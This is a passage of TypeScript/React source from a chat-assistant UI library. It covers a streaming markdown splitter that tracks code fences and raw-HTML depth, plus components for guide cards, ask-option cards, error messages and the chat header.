forever.\n */\nconst DANGLING_OPEN_TAG_RE = /<([a-zA-Z][a-zA-Z0-9-]*)(?:\\s[^>]*)?$/\n\n/**\n * A line that may START a raw HTML block. CommonMark puts the `<` at column\n * 0..3, but a raw HTML block nested in a list item is indented to the item's\n * CONTENT column (`1.  step` → 4, and up to 7 for a wide ordered marker).\n * The old column-0..3 gate missed exactly those, so an unbalanced raw-HTML\n * container nested in a list item never shifted the scanner's depth and its\n * unit was marked memoizable — contradicting the \"unbalanced raw-HTML units\n * are never cached\" policy this module documents.\n */\nconst HTML_BLOCK_START_RE = /^\\s{0,7}<\\/?[a-zA-Z]/\n\n/**\n * Cap on how long the raw-HTML latch may suppress cutting. An unclosed\n * `<div>` (or a start tag whose `>` never arrives) would otherwise pin\n * `htmlDepth > 0` for the ENTIRE remaining message, collapsing it into one\n * ever-growing non-memoizable unit and disabling the atomic-block\n * optimization outright.\n *\n * THE TRADEOFF, STATED HONESTLY: past the cap the splitter resumes cutting\n * even though a container is still open, so a genuinely >200-line authored\n * `<div>` / `<table>` wrapper IS cut mid-container and visibly breaks apart\n * while streaming (its body renders outside the wrapper, the stray close tag\n * is dropped). Those units are still marked non-memoizable, so nothing WRONG\n * is ever cached and the stream-completion whole-document reparse restores\n * the correct structure — but during the stream the render is wrong, not\n * merely uncached. (An earlier comment here claimed \"never a wrong render\";\n * that was only true below the cap.)\n *\n * The cap is kept because the alternative — never cutting while latched —\n * makes ONE unbounded unit out of every message containing an unclosed tag,\n * which is the common case (an LLM mid-emission always has one) and costs a\n * full reparse of the entire message on every token.\n */\nconst HTML_LATCH_LINE_LIMIT = 200\n\n/**\n * Two properties of the fence tracker, stated so they stop being accidents.\n * A reviewer confirmed both hold today, but neither was written down, so a\n * future change could quietly break them.\n *\n * 1. EOF ON THE OPENER LINE EMITS AN EMPTY PAIR. When the stream stops exactly\n *    on a fence opener, `completeStreamingTail` closes it at EOF and the render\n *    contains a bare ```/``` — a momentarily empty `<pre>`. It is cosmetic and\n *    self-heals on the next delta. Do NOT \"fix\" it by suppressing the close:\n *    that leaks an unterminated fence into the parse instead, which is worse.\n *\n * 2. THIS SCANNER AND THE SANITIZER'S MASK CAN DISAGREE ABOUT WHICH FENCE IS\n *    OPEN, AND BOTH MUST FAIL CLOSED. `scanLine`'s `pendingOpenTag` early\n *    return skips `fences.push`, so a fence opened on a line consumed by an\n *    unclosed HTML tag is never recorded here — while `sanitize.ts`'s\n *    `blankFencedRegions` runs its own tracker over the same text and may see\n *    it. The divergence is safe ONLY because each consumer degrades toward\n *    doing less: `completeStreamingTail` closes nothing it did not see open,\n *    and `blankFencedRegions` blanks nothing it cannot locate, so the output\n *    degrades to \"render as-is\" rather than to a corrupted document. Any\n *    change to the early return, to `fences` bookkeeping, or to either\n *    consumer must preserve fail-closed behaviour in BOTH directions\n *    (scanner-ahead and scanner-behind).\n */\n\n/**\n * Line-scanner state shared by `splitStreamingBlocks` and\n * `completeStreamingTail` — ONE implementation of \"where are we in the\n * document\", so the splitter and the tail-completer can never disagree\n * about which fence is open.\n */\ninterface ScanState {\n  /**\n   * Fenced-code state machine. NOT a local copy: `createFenceTracker` lives\n   * in the server-safe `utils/markdown-fences` and is the SAME instance\n   * shape the heading scanner uses, so \"is this line inside a fence\" has\n   * exactly one definition. The previous duplicate here (a verbatim\n   * `FENCE_RE` plus its own open/close state machine, cross-referenced by a\n   * comment) is precisely the drift that produced the `~~~` bug.\n   */\n  fences: FenceTracker\n  /** Depth of currently open raw HTML block containers. */\n  htmlDepth: number\n  /** Raw-block tag name of a start tag still waiting for its `>`, or null. */\n  pendingOpenTag: string | null\n  /** Consecutive lines spent with the raw-HTML latch engaged. */\n  htmlLatchLines: number\n}\n\nfunction createScanState(): ScanState {\n  return {\n    fences: createFenceTracker(),\n    htmlDepth: 0,\n    pendingOpenTag: null,\n    htmlLatchLines: 0,\n  }\n}\n\n/** Raw-HTML state is unbalanced (a container or a start tag is still open). */\nfunction htmlLatched(state: ScanState): boolean {\n  return state.htmlDepth > 0 || state.pendingOpenTag !== null\n}\n\n/** True while raw-HTML state forbids cutting (latch cap not yet reached). */\nfunction htmlBlocksCut(state: ScanState): boolean {\n  return htmlLatched(state) && state.htmlLatchLines <= HTML_LATCH_LINE_LIMIT\n}\n\n/** Scan `line` from `from` for complete tags, then record any dangling opener. */\nfunction scanTags(state: ScanState, line: string, from: number): void {\n  HTML_TAG_RE.lastIndex = from\n  let m: RegExpExecArray | null\n  let end = from\n  while ((m = HTML_TAG_RE.exec(line)) !== null) {\n    end = HTML_TAG_RE.lastIndex\n    const tag = m[2].toLowerCase()\n    if (!RAW_BLOCK_TAGS.has(tag)) continue\n    if (m[1] === '/') {\n      if (state.htmlDepth > 0) state.htmlDepth--\n    } else if (!m[3].trimEnd().endsWith('/')) {\n      state.htmlDepth++\n    }\n  }\n  const dangling = DANGLING_OPEN_TAG_RE.exec(line.slice(end))\n  if (dangling && RAW_BLOCK_TAGS.has(dangling[1].toLowerCase())) {\n    state.pendingOpenTag = dangling[1].toLowerCase()\n  }\n}\n\n/** Advance `state` across one raw source line (mutates). */\nfunction scanLine(state: ScanState, line: string): void {\n  // A start tag spanning lines wins over everything: its continuation lines\n  // are attribute soup, not markdown.\n  if (state.pendingOpenTag !== null) {\n    const gt = line.indexOf('>')\n    if (gt === -1) {\n      state.htmlLatchLines++\n      return\n    }\n    const selfClosing = line.slice(0, gt).trimEnd().endsWith('/')\n    const tag = state.pendingOpenTag\n    state.pendingOpenTag = null\n    if (!selfClosing && RAW_BLOCK_TAGS.has(tag)) state.htmlDepth++\n    scanTags(state, line, gt + 1)\n    state.htmlLatchLines = htmlLatched(state) ? state.htmlLatchLines + 1 : 0\n    return\n  }\n\n  // Fence delimiters and fence content are both opaque to the HTML scanner —\n  // only `text` lines carry markup that can shift raw-HTML depth.\n  if (state.fences.push(line) !== 'text') return\n\n  // Depth > 0 means we are INSIDE a container, where the closing tag may sit\n  // anywhere on a line (`some text </details>`). Scanning only column-0..3\n  // lines there meant such a close never decremented, so the latch stuck.\n  // At depth 0 only a line that can BEGIN a raw HTML block is considered, so\n  // `a < b` prose can't shift depth.\n  if (state.htmlDepth === 0 && !HTML_BLOCK_START_RE.test(line)) return\n  scanTags(state, line, 0)\n  state.htmlLatchLines = htmlLatched(state) ? state.htmlLatchLines + 1 : 0\n}\n\n/**\n * Split streaming markdown into atomic units at blank lines that are\n * provably block boundaries. A blank line does NOT split when:\n *  - inside a fenced code block,\n *  - the next non-blank line is indented (loose-list / blockquote\n *    continuation cannot be ruled out),\n *  - the next non-blank line starts a list item or blockquote AND the\n *    previous unit ended in a list item or blockquote (loose list /\n *    multi-paragraph quote continuation).\n * The FINAL unit is always the live tail (never memoizable).\n *\n * BLANK LINES COME FROM `isBlankLine` (utils/markdown-fences), never from\n * `String.prototype.trim()`. This file is the THIRD consumer of that module\n * (it already instantiates `createFenceTracker`) and makes exactly the\n * CommonMark blank-line decision the helper was minted for, yet it kept four\n * hand-rolled `trim() === ''` tests — so the module's \"every blank-line test\"\n * SSOT claim was false here. `trim()` strips the full Unicode White_Space set\n * (U+00A0 NBSP, U+000B VT, U+000C FF, U+FEFF BOM), none of which CommonMark\n * treats as blank: `splitStreamingBlocks('foo\\n<NBSP>\\nbar\\n\\ntail')` returned\n * THREE units where the non-blank filler control (`foo\\nx\\nbar\\n\\ntail`)\n * returns TWO — one NBSP line cut a paragraph into two `ReactMarkdown` units on\n * the STREAMING path, rendering two `<p>` where the non-streaming and SEO twins\n * render one. Not a security hole (the fence tracker and `htmlBlocksCut` still\n * gate the cut), but a live divergence. It survived because the swallow sweep\n * drove only `SimpleMarkdownRenderer`; the sweep now drives this splitter too,\n * in both the exotic-blank and CRLF spellings.\n */\nexport function splitStreamingBlocks(content: string): StreamingBlock[] {\n  const lines = content.split('\\n')\n  const units: string[][] = []\n  const unitTouchedHtml: boolean[] = []\n  let current: string[] = []\n  let currentTouchedHtml = false\n  const state = createScanState()\n\n  const isListOrQuote = (line: string) =>\n    /^\\s{0,3}(?:[-+*]\\s|\\d{1,9}[.)]\\s|>)/.test(line)\n\n  /**\n   * FIRST non-blank line of the accumulated unit — i.e. what this unit IS.\n   *\n   * The continuation guard below used the LAST non-blank line instead, which\n   * silently failed for every list item carrying a second block. Take the\n   * canonical shape of an assistant answer:\n   *\n   *     1. Install:\n   *\n   *        ```bash\n   *        npm i\n   *        ```\n   *\n   *     2. Run it.\n   *\n   * At the blank line before `2.` the unit's last non-blank line is the fence\n   * closer, not a list marker — so the guard let the cut through and every\n   * remaining item became its OWN `<ol>` with no `start` attribute. The visible\n   * result is \"1. / 1. / 1.\" while the extracted TEXT stays identical (which is\n   * why the equivalence tests missed it), and because those units are complete\n   * and atomic they were `memoizable`, so the wrong render was CACHED for the\n   * rest of the turn instead of self-healing on the next token.\n   *\n   * Asking whether the unit STARTS with a marker is the right question: it stays\n   * true across items while the list accumulates (each declined cut keeps the\n   * same first line), and it is false for a paragraph that merely happens to be\n   * followed by a list — so a genuinely new list after prose still cuts.\n   */\n  const firstNonBlank = (arr: string[]): string | undefined => {\n    for (const line of arr) {\n      if (!isBlankLine(line)) return line\n    }\n    return undefined\n  }\n\n  for (let i = 0; i < lines.length; i++) {\n    const line = lines[i]\n    const depthBefore = state.htmlDepth\n    const pendingBefore = state.pendingOpenTag\n    scanLine(state, line)\n    if (\n      state.htmlDepth !== depthBefore ||\n      state.pendingOpenTag !== pendingBefore ||\n      htmlLatched(state)\n    )\n      currentTouchedHtml = true\n    current.push(line)\n\n    const isBlank = isBlankLine(line)\n    // Never cut inside an open fence, nor inside an unbalanced raw HTML\n    // block container / a start tag still waiting for its `>`.\n    if (!isBlank || state.fences.openChar() !== null || htmlBlocksCut(state)) continue\n\n    // Candidate boundary at a blank line outside fences. Look ahead to the\n    // next non-blank line to decide whether cutting here is provably safe.\n    let j = i + 1\n    while (j < lines.length && isBlankLine(lines[j])) j++\n    if (j >= lines.length) continue // trailing blanks stay with the tail\n\n    const next = lines[j]\n    if (/^\\s/.test(next)) continue // indented continuation — unprovable\n    const unitOpener = firstNonBlank(current)\n    if (isListOrQuote(next) && unitOpener !== undefined && isListOrQuote(unitOpener)) {\n      // Loose list / multi-paragraph blockquote continuation — do not cut.\n      continue\n    }\n\n    // A unit whose entire content is whitespace is not a block — with 2+\n    // blank lines between blocks the loop reaches a cut point with nothing\n    // but blanks accumulated, and emitting it costs a `ReactMarkdown`\n    // instance (and a React key) that renders nothing. Leave `current`\n    // accumulating so the blanks fold into the NEXT unit; line numbering\n    // (and therefore `startLine`) is unaffected either way.\n    if (current.every(isBlankLine)) continue\n\n    units.push(current)\n    unitTouchedHtml.push(currentTouchedHtml)\n    current = []\n    currentTouchedHtml = false\n  }\n  if (current.length) {\n    units.push(current)\n    unitTouchedHtml.push(currentTouchedHtml)\n  }\n\n  let cursorLine = 1\n  return units.map((unitLines, idx) => {\n    const text = unitLines.join('\\n')\n    const isTail = idx === units.length - 1\n    const startLine = cursorLine\n    cursorLine += unitLines.length\n    return {\n      text,\n      index: idx,\n      startLine,\n      // Units carrying UNBALANCED raw HTML are never cached: an open\n      // container (or a start tag still awaiting its `>`) is exactly the\n      // case where rehype-raw's reparse makes a stale cached render\n      // structurally wrong rather than merely late. A raw container that\n      // opens AND closes within the unit (`<div>x</div>`) leaves the\n      // scanner's depth unchanged, so it stays memoizable — correctly: its\n      // parse cannot be invalidated by later tokens.\n      memoizable: !isTail && !unitTouchedHtml[idx] && !NON_MEMOIZABLE_RE.test(text),\n    }\n  })\n}\n\n/**\n * Auto-close an unterminated fenced code block at the streaming tail so the\n * half-open fence doesn't flip the rest of the message into code while\n * tokens arrive.\n *\n * Uses the SAME scanner as `splitStreamingBlocks` (never a parallel\n * fence-count heuristic — a naive count treats ``` and ~~~ as\n * interchangeable and appends a spurious closer to `` ```\\n~~~\\n``` ``),\n * and appends the RECORDED opener so a `~~~` block is closed with `~~~`.\n */\nexport function completeStreamingTail(content: string): string {\n  const state = createScanState()\n  for (const line of content.split('\\n')) scanLine(state, line)\n  const openChar = state.fences.openChar()\n  if (openChar === null) return content\n  const closer = openChar.repeat(state.fences.openLength())\n  return content.endsWith('\\n') ? `${content}${closer}` : `${content}\\n${closer}`\n}\n","\"use client\";\n\n/**\n * SimpleMarkdownRenderer — the chat/doc composition over the unified\n * `MarkdownEngine`. This IS the real component (not a compat alias): the\n * old 966-line standalone implementation was deleted in the unification;\n * its entire prop surface maps 1:1 onto the engine. Chat consumers keep\n * layering `additionalRemarkPlugins` (card/mention links) and\n * `componentOverrides` exactly as before.\n */\nimport React from 'react';\nimport { MarkdownEngine, type MarkdownEngineProps } from './engine';\nimport type { ResolveLinkResult } from '../../../types/doc-source';\n\nexport type { ResolveLinkResult };\n\nexport interface SimpleMarkdownRendererProps\n  extends Omit<MarkdownEngineProps, 'extraAllowedHtmlTags'> {}\n\n/**\n * A type-narrowed ALIAS of the engine, not a wrapper: the composition adds\n * no behavior (it only hides `extraAllowedHtmlTags` from the prop surface),\n * and `MarkdownEngine` is already `memo`'d. Wrapping it in a second `memo`\n * bought nothing and cost an extra shallow-compare pass plus a fiber per\n * chat segment.\n */\nexport const SimpleMarkdownRenderer =\n  MarkdownEngine as React.NamedExoticComponent<SimpleMarkdownRendererProps>;\n","\"use client\"\n\nimport { forwardRef } from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { CompassIcon } from \"../icons-v2-generated\"\nimport type { GuideDisplayProps } from \"./types\"\n\nconst GUIDE_LABEL = \"OpenFrame Guide\"\n\n/**\n * `GUIDE` segment — the assistant's how-to/documentation answer, framed as a\n * titled card instead of a bare paragraph.\n *\n * Chrome only: the caller renders the markdown body and passes it as children,\n * so a guide goes through the SAME body pipeline as a text segment\n * (`[card://]` splitting + hoisted entity cards + mention chips). Rendering the\n * raw markdown here instead would bypass that plan and degrade every card\n * marker inside a guide to a bare title.\n */\nconst GuideDisplay = forwardRef<HTMLDivElement, GuideDisplayProps>(\n  ({ className, children, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex flex-col gap-[var(--spacing-system-m)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-m)]\",\n          className\n        )}\n        {...props}\n      >\n        <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n          <CompassIcon size={16} className=\"shrink-0 text-ods-open-yellow\" />\n          <span className=\"text-h5 text-ods-open-yellow\">{GUIDE_LABEL}</span>\n        </div>\n        <div className=\"min-w-0 w-full break-words text-h4 text-ods-text-primary\">{children}</div>\n      </div>\n    )\n  }\n)\n\nGuideDisplay.displayName = \"GuideDisplay\"\n\nexport { GuideDisplay }\n","\"use client\"\n\nimport { forwardRef, useEffect, useId, useState } from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { Chevron02LeftIcon, Chevron02RightIcon } from \"../icons-v2-generated\"\nimport type { AskDisplayProps } from \"./types\"\n\n/** Why the card is locked. Surfaced twice on purpose: as the veil's `title`\n *  (mouse) and as the group's `aria-describedby` text (keyboard / screen\n *  reader) — a disabled control that doesn't say why reads as a bug. */\nconst LOCKED_HINT = \"This question was already answered\"\n\n/**\n * `ASK` segment — the assistant asking WHICH reading of an ambiguous question it\n * should answer, as a card of numbered options instead of prose bullets\n * (Figma 1:13775).\n *\n * Picking a row sends its `label` verbatim as the user's next message: the\n * backend's guide classifier resolves that reply against the labels it offered,\n * so the row text IS the protocol.\n *\n * Without `onSelect` the card renders LOCKED — dimmed under a veil, rows\n * `disabled`, not-allowed cursor. That is the normal end state: `ChatMessageList`\n * withholds the handler as soon as any user message follows the card, because\n * the question it asked has been answered and re-clicking it would send a stale\n * label into a conversation that moved on. Same state on observer surfaces,\n * where a click would post into someone else's dialog.\n *\n * A run of consecutive `ask` segments is one card with a pager (\"1 of 2\"), so a\n * turn that asks twice reads as a single block. With one card the pager is\n * absent entirely — there is nothing to page through.\n */\nconst AskDisplay = forwardRef<HTMLDivElement, AskDisplayProps>(\n  ({ className, cards, onSelect, ...props }, ref) => {\n    const [index, setIndex] = useState(0)\n    const lockedHintId = useId()\n\n    // A shrinking run (segments replaced mid-stream) must not strand the pager\n    // past the end — clamp instead of rendering an undefined card.\n    useEffect(() => {\n      setIndex((current) => (current < cards.length ? current : Math.max(0, cards.length - 1)))\n    }, [cards.length])\n\n    const active = cards[Math.min(index, cards.length - 1)]\n    if (!active) return null\n\n    const showPager = cards.length > 1\n    const isInteractive = !!onSelect\n\n    return (\n      <div\n        ref={ref}\n        role=\"group\"\n        aria-label={active.question}\n        // A disabled control must say WHY. The veil's `title` is a mouse-only\n        // affordance, so the same sentence is also carried as group description\n        // text — that is what a screen-reader user hears on entering the card,\n        // instead of two silently \"dimmed\" buttons.\n        aria-describedby={isInteractive ? undefined : lockedHintId}\n        className={cn(\n          \"flex flex-col gap-[var(--spacing-system-s)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-s)]\",\n          className\n        )}\n        {...props}\n      >\n        <div className=\"flex items-center gap-[var(--spacing-system-m)]\">\n          <p className=\"min-w-0 flex-1 break-words text-h4 text-ods-text-primary\">{active.question}</p>\n          {showPager && (\n            <div className=\"flex shrink-0 items-center gap-[var(--spacing-system-xxs)]\">\n              <button\n                type=\"button\"\n                aria-label=\"Previous question\"\n                disabled={index === 0}\n                onClick={() => setIndex((current) => Math.max(0, current - 1))}\n                className=\"text-ods-text-secondary transition-colors hover:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary\"\n              >\n                <Chevron02LeftIcon size={16} />\n              </button>\n              <span className=\"whitespace-nowrap text-h6 text-ods-text-secondary\">\n                {index + 1} of {cards.length}\n              </span>\n              <button\n                type=\"button\"\n                aria-label=\"Next question\"\n                disabled={index === cards.length - 1}\n                onClick={() => setIndex((current) => Math.min(cards.length - 1, current + 1))}\n                className=\"text-ods-text-secondary transition-colors hover:text-ods-text-primary disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary\"\n              >\n                <Chevron02RightIcon size={16} />\n              </button>\n            </div>\n          )}\n        </div>\n\n        {/* Locked state = the rows' own `disabled` (assistive tech hears\n            \"dimmed button\", focus skips them, clicks can't fire) PLUS a veil\n            over the whole block. The veil is what makes it READ as locked: it\n            greys the answers down to caption weight without touching their\n            markup, and — sitting above the rows — it owns the pointer, so the\n            not-allowed cursor and the \"why\" tooltip show anywhere over the\n            list, not just on a row. The pager stays live above it: paging is\n            reading, not answering. */}\n        <div className=\"relative\">\n          <div className=\"flex flex-col overflow-hidden rounded-md border border-ods-border\">\n            {/* Rows carry the divider on their TOP edge except the first, so the\n                list never ends on a hanging border (the design's trailing rule\n                belongs to the custom-answer input, which this card does not have). */}\n            {active.options.map((option, optionIndex) => (\n              <button\n                key={`${option.label}-${optionIndex}`}\n                type=\"button\"\n                disabled={!isInteractive}\n                onClick={() => onSelect?.(option.label)}\n                className={cn(\n                  \"flex w-full items-start gap-[var(--spacing-system-s)] bg-ods-card p-[var(--spacing-system-s)] text-left transition-colors\",\n                  optionIndex > 0 && \"border-t border-ods-border\",\n                  \"hover:bg-ods-bg-hover disabled:cursor-not-allowed disabled:hover:bg-ods-card\"\n                )}\n              >\n                <span className=\"shrink-0 text-h4 text-ods-text-secondary\">{optionIndex + 1}.</span>\n                <span className=\"flex min-w-0 flex-1 flex-col\">\n                  <span className=\"break-words text-h4 text-ods-text-primary\">{option.label}</span>\n                  {option.description && (\n                    <span className=\"break-words text-h6 text-ods-text-secondary\">{option.description}</span>\n                  )}\n                </span>\n              </button>\n            ))}\n          </div>\n          {!isInteractive && (\n            <>\n              <span id={lockedHintId} className=\"sr-only\">\n                {LOCKED_HINT}\n              </span>\n              <div\n                aria-hidden=\"true\"\n                title={LOCKED_HINT}\n                className=\"absolute inset-0 cursor-not-allowed rounded-md bg-ods-bg/40\"\n              />\n            </>\n          )}\n        </div>\n      </div>\n    )\n  }\n)\n\nAskDisplay.displayName = \"AskDisplay\"\n\nexport { AskDisplay }\n","\"use client\"\n\nimport { forwardRef, useState } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { AlertCircleIcon } from \"../icons-v2-generated\"\nimport { ExpandChevron } from \"./expand-chevron\"\nimport { useCollapsible } from \"./hooks/use-collapsible\"\nimport type { ErrorMessageDisplayProps } from \"./types\"\n\nconst iconTint = {\n  error: \"text-ods-error\",\n  warning: \"text-ods-warning\",\n  info: \"text-ods-text-secondary\",\n} as const\n\nconst ErrorMessageDisplay = forwardRef<HTMLDivElement, ErrorMessageDisplayProps>(\n  ({ className, title, details, type = \"error\", ...props }, ref) => {\n    const [expanded, setExpanded] = useState(false)\n    const { innerRef, containerStyle } = useCollapsible({ expanded })\n    const hasDetails = Boolean(details)\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"bg-ods-card rounded-md p-[var(--spacing-system-xsf)] mb-[var(--spacing-system-xsf)]\",\n          className\n        )}\n        {...props}\n      >\n        <button\n          type=\"button\"\n          onClick={hasDetails ? () => setExpanded(prev => !prev) : undefined}\n          aria-expanded={hasDetails ? expanded : undefined}\n          aria-label={\n            hasDetails ? (expanded ? \"Collapse details\" : \"Expand details\") : undefined\n          }\n          disabled={!hasDetails}\n          className={cn(\n            \"flex w-full items-center gap-[var(--spacing-system-xsf)] text-left\",\n            hasDetails ? \"cursor-pointer\" : \"cursor-default\"\n          )}\n        >\n          <AlertCircleIcon size={16} className={cn(\"shrink-0\", iconTint[type])} />\n          <span\n            className={cn(\n              \"min-w-0 flex-1 text-h5\",\n              expanded ? \"text-ods-text-primary\" : \"truncate text-ods-text-secondary\"\n            )}\n          >\n            {title}\n          </span>\n          {hasDetails && <ExpandChevron expanded={expanded} />}\n        </button>\n\n        {hasDetails && (\n          <div style={containerStyle}>\n            <div\n              ref={innerRef}\n              className=\"px-[var(--spacing-system-lf)] pt-[var(--spacing-system-xsf)]\"\n            >\n              <p className=\"text-h6 text-ods-text-primary\">\n                {details}\n              </p>\n            </div>\n          </div>\n        )}\n      </div>\n    )\n  }\n)\n\nErrorMessageDisplay.displayName = \"ErrorMessageDisplay\"\n\nexport { ErrorMessageDisplay }\n","import * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { SquareAvatar as Avatar } from \"../ui/square-avatar\"\nimport { Button } from \"../ui/button\"\nimport { PlusCircleIcon } from \"../plus-circle-icon\"\nimport { XmarkIcon } from \"../icons-v2-generated/signs-and-symbols/xmark-icon\"\nimport { Chevron02LeftIcon } from \"../icons-v2-generated\"\nimport { TicketStatusTag, resolveStatusTagProps } from \"../ui/ticket-status-tag\"\nimport { Skeleton } from \"../ui/skeleton\"\nimport { MspOrganizationCard } from \"./msp-organization-card\"\nimport { MspOrganizationCardSkeleton } from \"./msp-organization-card-skeleton\"\nimport type { ConnectionIndicatorProps, ChatContainerProps, ChatHeaderProps } from \"./types\"\n\nconst ConnectionIndicator: React.FC<ConnectionIndicatorProps> = ({ status }) => {\n  const getStatusStyles = () => {\n    switch (status) {\n      // ODS semantic status tokens — preset-defined utilities aliasing the same\n      // green/yellow/red as the raw ods-attention palette (which is CSS-vars only).\n      case 'connected':\n        return 'bg-ods-success'\n      case 'connecting':\n        return 'bg-ods-warning animate-pulse'\n      case 'disconnected':\n        return 'bg-ods-error'\n      default:\n        return 'bg-ods-text-tertiary'\n    }\n  }\n\n  return (\n    <div className=\"flex items-center\">\n      <output\n        className={cn(\n          \"w-2 h-2 rounded-full block\",\n          getStatusStyles()\n        )}\n        aria-label={`Connection status: ${status}`}\n        title={status === 'connected' ? 'Connected' : status === 'connecting' ? 'Connecting...' : 'Disconnected'}\n      />\n    </div>\n  )\n}\n\nconst ChatContainer = React.forwardRef<HTMLDivElement, ChatContainerProps>(\n  ({ className, children, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex h-screen w-full flex-col\",\n          \"bg-ods-bg text-ods-text-primary\",\n          \"px-4 md:px-6 lg:px-8 pt-10 pb-8\",\n          className\n        )}\n        {...props}\n      >\n        {children}\n      </div>\n    )\n  }\n)\n\nChatContainer.displayName = \"ChatContainer\"\n\nconst ChatHeader = React.forwardRef<HTMLDivElement, ChatHeaderProps>(\n  ({ className, userName = 'Grace \"Fae\" Meadows', userTitle = \"Your Personal Assistant\", userAvatar, userIcon, onSettingsClick, onNewChat, onClose, onBack, showNewChat = false, connectionStatus = 'disconnected', serverUrl = null, headerActions, ticketInfo, mspOrganization, isMspLoading = false, fullWidth = false, bare = false, isLoading = false, ...props }, ref) => {\n    const cardClasses = bare\n      ? \"\"\n      : \"rounded-md bg-ods-card border border-ods-border\"\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          // `fullWidth` drops the centered-narrow content column for\n          // chats hosted in side panels where 600px would float in\n          // the middle of a wider container.\n          fullWidth ? \"relative w-full\" : \"relative mx-auto w-full max-w-ods-content-narrow\",\n          className\n        )}\n        {...props}\n      >\n        {onBack && (\n          <Button\n            onClick={onBack}\n            variant=\"transparent\"\n            size=\"icon\"\n            aria-label=\"Back\"\n            leftIcon={<Chevron02LeftIcon size={24} className=\"text-ods-text-primary\" />}\n            className={cn(\n              cardClasses,\n              \"absolute top-0 right-full mr-[var(--spacing-system-s)] hover:bg-ods-bg-hover\"\n            )}\n          />\n        )}\n        <div className={cardClasses}>\n          <div className=\"flex items-center justify-between gap-4 px-4 py-3\">\n            {isLoading ? (\n              <div className=\"flex items-center gap-3\">\n                {/* 64px round avatar placeholder — matches the `w-16 h-16`\n                    rounded-full avatar / userIcon block below. */}\n                <Skeleton className=\"w-16 h-16 rounded-full shrink-0\" />\n                <div className=\"flex flex-col gap-1\">\n                  {/* Name line — sized to the `text-h3` name. */}\n                  <Skeleton className=\"h-6 w-40\" />\n                  {/* Server line — sized to the `text-h4` secondary row. */}\n                  <Skeleton className=\"h-4 w-28\" />\n                </div>\n              </div>\n            ) : (\n              <div className=\"flex items-center gap-3\">\n                {userIcon ? (\n                  <div className=\"flex items-center justify-center w-16 h-16 rounded-full bg-ods-accent\">\n                    {userIcon}\n                  </div>\n                ) : (\n                  <Avatar\n                    src={userAvatar}\n                    alt={userName}\n                    fallback={userName}\n                    size=\"xl\"\n                    variant=\"round\"\n                    className=\"bg-ods-flamingo-pink\"\n                  />\n                )}\n                <div className=\"flex flex-col\">\n                  <span className=\"text-h3\">{userName}</span>\n                  <div className=\"flex items-center gap-2\">\n                    {serverUrl && (\n                      <>\n                        <span className=\"text-h4 text-ods-text-secondary\">{serverUrl}</span>\n                        <ConnectionIndicator status={connectionStatus} />\n                      </>\n                    )}\n                  </div>\n                </div>\n              </div>\n            )}\n            <div className=\"flex items-center gap-1\">\n              {showNewChat && onNewChat && (\n                <Button\n                  onClick={onNewChat}\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  leftIcon={<PlusCircleIcon className=\"w-5 h-5\" whiteOverlay/>}\n                  className=\"text-ods-text-primary hover:bg-ods-bg-hover\"\n                >\n                  New Chat\n                </Button>\n              )}\n              {onClose && (\n                <Button\n                  onClick={onClose}\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  aria-label=\"Close\"\n                  className=\"text-ods-text-muted hover:text-ods-text-primary hover:bg-ods-bg-hover !p-1.5\"\n                >\n                  <XmarkIcon size={16} />\n                </Button>\n              )}\n              {headerActions}\n            </div>\n          </div>\n          {/* MSP branding slot — home-screen only; `ticketInfo` (open chat)\n              claims this space, so it wins when both are provided. The card\n              already draws the chrome: strip the section's own ring and keep\n              only the bottom rounding so its bg fits the card corners. */}\n          {!ticketInfo && (isMspLoading || mspOrganization) && (\n            <>\n              <div className=\"h-px bg-ods-border\" />\n              {isMspLoading || !mspOrganization ? (\n                <MspOrganizationCardSkeleton className={cn(\"ring-0 rounded-none\", !bare && \"rounded-b-md\")} />\n              ) : (\n                <MspOrganizationCard\n                  {...mspOrganization}\n                  className={cn(\"ring-0 rounded-none\", !bare && \"rounded-b-md\", mspOrganization.className)}\n                />\n              )}\n            </>\n          )}\n          {ticketInfo && (\n            <>\n              <div className=\"h-px bg-ods-border\" />\n              <div className=\"flex items-center justify-between gap-4 px-4 py-2\">\n                <div className=\"flex flex-col min-w-0\">\n                  <span className=\"text-heading-3 truncate\" title={typeof ticketInfo.title === 'string' ? ticketInfo.title : undefined}>{ticketInfo.title}</span>\n                  {ticketInfo.meta && (\n                    <div className=\"text-h6 text-ods-text-secondary truncate\" title={typeof ticketInfo.meta === 'string' ? ticketInfo.meta : undefined}>{ticketInfo.meta}</div>\n                  )}\n                </div>\n                {(ticketInfo.status || ticketInfo.statusName) && (\n                  <TicketStatusTag\n                    {...resolveStatusTagProps({\n                      status: ticketInfo.status,\n                      statusKind: ticketInfo.statusKind,\n                      statusName: ticketInfo.statusName,\n                      statusColor: ticketInfo.statusColor,\n                    })}\n                  />\n                )}\n              </div>\n            </>\n          )}\n        </div>\n      </div>\n    )\n  }\n)\nChatHeader.displayName = \"ChatHeader\"\n\nconst ChatContent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(\n  ({ className, children, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex-1 flex flex-col min-h-0\",\n          className\n        )}\n        {...props}\n      >\n        {children}\n      </div>\n    )\n  }\n)\nChatContent.displayName = \"ChatContent\"\n\n/**\n * `ChatFooter` props.\n *\n * Layout API:\n *   - `fullWidth` (preferred) — drop the inner-wrapper\n *     `max-w-ods-content-narrow` so the footer fills the parent.\n *   - `contentClassName` (legacy escape hatch) — explicit class names\n *     applied to the inner wrapper. Use only when `fullWidth` is too\n *     coarse (e.g. custom max-w value).\n */\nexport interface ChatFooterProps extends 